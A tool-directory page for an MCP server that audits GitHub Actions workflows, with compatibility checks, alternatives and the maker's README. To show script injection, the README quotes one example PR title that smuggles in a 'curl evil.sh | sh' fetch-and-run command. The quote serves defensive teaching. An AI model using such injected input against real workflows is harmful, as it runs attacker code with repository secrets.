GitDiagram
Architecture diagrams, explanations and Mermaid source for public GitHub repositories.
Runs in the cloud✓ service owner · gitdiagram.comTried by the PopNx team
GitHub Actions Security Audit
What it does
Audit GitHub Actions workflows for script injection, unpinned actions and missing permissions.
- Connects Runs in the cloud
- Account or key No key needed
- Category Developer tools
Install
Pick the AI app you use, then copy the settings.
Passed 3/4 checks · Runs on your computer
We hid some of the commands
Connect by URL: the server address did not answer when we checked
No install path has passed yet. See the maker’s instructions or pick another server in this category · Maker’s install instructions · Others in this category
First: which AI do you use?
Pick your app and the steps appear below.
Claude cannot connect GitHub Actions Security Audit yet
No install path has passed yet. See the maker’s instructions or pick another server in this category
ChatGPT cannot connect GitHub Actions Security Audit yet
No install path has passed yet. See the maker’s instructions or pick another server in this category
What you can do instead
B · Others in Developer tools that work with ChatGPT
Picked from the most used in the same category, only ones that connect by address with no key
- Sentry✓ ChatGPT
- Compiler Explorer✓ ChatGPT
- GitDiagram✓ ChatGPT
Claude Code cannot connect GitHub Actions Security Audit yet
No install path has passed yet. See the maker’s instructions or pick another server in this category
Cursor cannot connect GitHub Actions Security Audit yet
No install path has passed yet. See the maker’s instructions or pick another server in this category
VS Code cannot connect GitHub Actions Security Audit yet
No install path has passed yet. See the maker’s instructions or pick another server in this category
No install path has passed yet. See the maker’s instructions or pick another server in this category
At a glance
Which apps can use it
Based on how this server connects and on each app’s own docs, checked Nov 10, 2026.
Connect over the internet in
GooseLM StudioMsty StudioCherry StudioVisual StudioWindsurf (Devin Desktop)ZedKiroClineContinueJetBrains AI AssistantCodex CLIGemini CLIOpenCodenodecodeWarpLibreChatOpen WebUIRaycast
Related guides
What it can do
The server did not answer when we last checked, so we could not read its tools.
Basic checksi
We check information anyone can see; we have not read the code. Checks that do not apply are left out of the count. · Checked Nov 16, 2026
- ✓ Pass
Maker matches the repo
The registry name was verified with the GitHub account tylerscomic-lab, which owns the repo
- ✓ Pass
Still maintained
Code last changed last month
- ✓ Pass
Has a licence
Uses MIT
- ✕ Fail
Endpoint responds
Did not respond within 6 seconds when we checked
- – Not applicable
Sign-in with OAuth
Did not respond within 6 seconds when we checked
- … Not checked yet
No hidden instructions in tool descriptions
Not checked yet; we read the tool list when we check the endpoint
Makers: ask for a re-check or report wrong info
Discussion
Ask, share a tip or report that it does not work. Sorted by what people marked helpful.
No posts yet. Be the first to ask or share.
Posts here are written by users, not the PopNx team.
User reviews
No reviews yet
Compared with others in Developer toolsi
- More stars than 0% of the other 5932 servers in this category
- Published to the registry more recently than 43% of the other 5932 servers in this category
- Basic checks equal to or better than 45% of the other 5932 servers in this category
Compared with every active server in this category in the registry. Stars count only when the publisher owns the repo.
Common questions
Is GitHub Actions Security Audit safe?
It passed 3 of 4 applicable basic checks. We have not read the code. Before adding a key or token, see what access the server asks for and use a key with only the permissions you need.
What keys or codes does it need?
The registry does not list a required key, though some servers ask you to sign in on first use.
Does it run on my computer or in the cloud?
It runs in the maker’s cloud. Connect over the internet with nothing to install, but what you send passes through the maker’s servers.
Is it still maintained?
The GitHub repo last changed last month, and the latest version (1.0.0) reached the registry last month.
Which apps can use it?
Apps that support MCP, such as Claude Desktop, Claude Code, Cursor and VS Code. It connects by URL, so apps that accept remote MCP servers work too, such as ChatGPT on the web (full MCP on Business and above; Pro read-only).
What can I use instead?
In the same category: GitDiagram, Appllama, Cloudflare MCP, Omnara, Repowise
Similar alternatives
Same category, other makers, commands already checked. Official ones first, then by stars.
Reading a card:↓ Downloads per weeki★ GitHub starsiThree pillars: reviews · checks · usageiUpdated = latest version published to the registryi
Appllama
Study screens, flows and paywalls from top-earning iOS apps, then build from what wins.
Runs in the cloud✓ service owner · appllama.io
Cloudflare MCP
Cloudflare MCP servers
Runs in the cloud✓ service owner · mcp.cloudflare.comTried by the PopNx team
Omnara
Deploy durable AI agents with Omnara, an open-source managed-agent platform.
Runs in the cloud✓ service owner · omnara.com
Repowise
Codebase intelligence for AI coding agents: graph, git history, docs, decisions, code health.
Computer or cloud✓ service owner · repowise.dev
- GitDiagram — Runs in the cloud, nothing to install · No key needed
- Appllama — Runs in the cloud, nothing to install · No key needed
- Cloudflare MCP — Runs in the cloud, nothing to install · No key needed · In Claude’s directory
- Omnara — Runs in the cloud, nothing to install · No key needed
- Repowise — Cloud or install on your computer · No key needed
README from the maker
Open the README
Copied from the maker’s repo as written. PopNx MCP has not reviewed or endorsed it. HTML, images and scripts are removed. Links lead off this site.
github-actions-audit-mcp
An MCP server that audits GitHub Actions workflow YAML for the real vulnerability classes that have caused actual incidents — not a linter, a security scanner. Parses genuine YAML structure (a hand-written block parser scoped to what workflow files actually use), not string/regex matching against the raw file.
What it catches
Script injection. Any ${{ github.event.issue.title }}-style expression that carries attacker-controlled text (issue/PR titles, comments, review bodies, branch names) interpolated directly into a run: shell step. The expression is substituted into the generated shell script *before* the shell runs it — a PR titled "; curl evil.sh | sh # becomes literal shell syntax, not a string. This is the single most common real-world GitHub Actions vulnerability. Flags the exact expression and shows the env-variable fix that actually neutralizes it.
Unpinned third-party actions. uses: some-action@v4 or @main can be repointed by whoever controls that tag/branch, without you changing a single character in your workflow file — this is exactly what happened in the tj-actions/changed-files compromise (March 2025), where a maintainer's PAT was used to retag v35–v46 to point at a credential-harvesting commit. Only a full 40-character commit SHA is immutable.
Missing `permissions:` blocks. No explicit permissions: means the GITHUB_TOKEN defaults to whatever your repo/org settings allow — often read-write. If any step is ever compromised, it inherits that full scope.
`pull_request_target` + head checkout. This trigger runs with the base repo's secrets and a write-scoped token (unlike plain pull_request), and if the workflow also checks out the PR's own head commit, a fork's PR can run arbitrary code with your secrets. Real supply-chain incidents follow this exact pattern.
Tools
audit_workflow
Full audit of a workflow YAML file. Returns a risk level and every finding with its exact location, why it's dangerous, and a concrete fix.
check_expression_injection
Focused check on a single shell command string, for when you just want to sanity-check one run: step without a full workflow file.
Use it
Hosted (recommended): MCPize — free tier, $7/mo Pro.
Self-host:
npm installnode server.js
Part of a small suite
regex-safety-audit-mcp, mcp-trust-audit-mcp, secrets-leak-audit-mcp, dockerfile-audit-mcp.
License
MIT